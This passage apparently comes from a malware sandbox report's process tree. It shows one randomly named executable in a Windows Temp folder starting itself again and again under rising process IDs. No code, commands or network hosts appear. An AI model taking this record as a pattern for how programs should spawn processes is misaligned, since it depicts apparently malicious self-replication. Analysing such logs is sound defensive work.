        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3740
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3748
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3756
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3772
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3780
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3788
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3796
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3804
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3812
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3820
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3828
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3836
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3844
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3852
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3860
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3868
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3876
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3884
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3892
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3900
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3908
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3916
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3924
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3948
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3956
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3964
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3980
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3988
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:3996
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4004
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4012
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4020
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4028
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4036
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4044
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4052
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4060
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4068
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4092
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4104
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4112
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4120
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4128
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4136
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4144
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4152
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4160
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4168
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4176
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4192
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4200
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4216
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4224
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4240
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4248
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4256
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4264
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4288
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4296
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4304
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4312
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4320
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4328
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4336
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4352
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4360
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4368
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4384
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4400
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4408
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4424
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4432
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4440
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4448
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4456
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4464
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4472
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4480
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4488
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4496
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4520
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4528
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4536
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4552
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4568
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4576
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4584
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4592
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4600
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4608
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4616
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4632
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4640
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4656
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4664
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4688
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4696
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4704
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4720
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4728
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4744
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4752
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4760
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4776
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4792
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4800
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4808
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4832
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4856
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4864
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4880
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4888
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4896
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4912
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4920
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4936
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4944
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4960
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
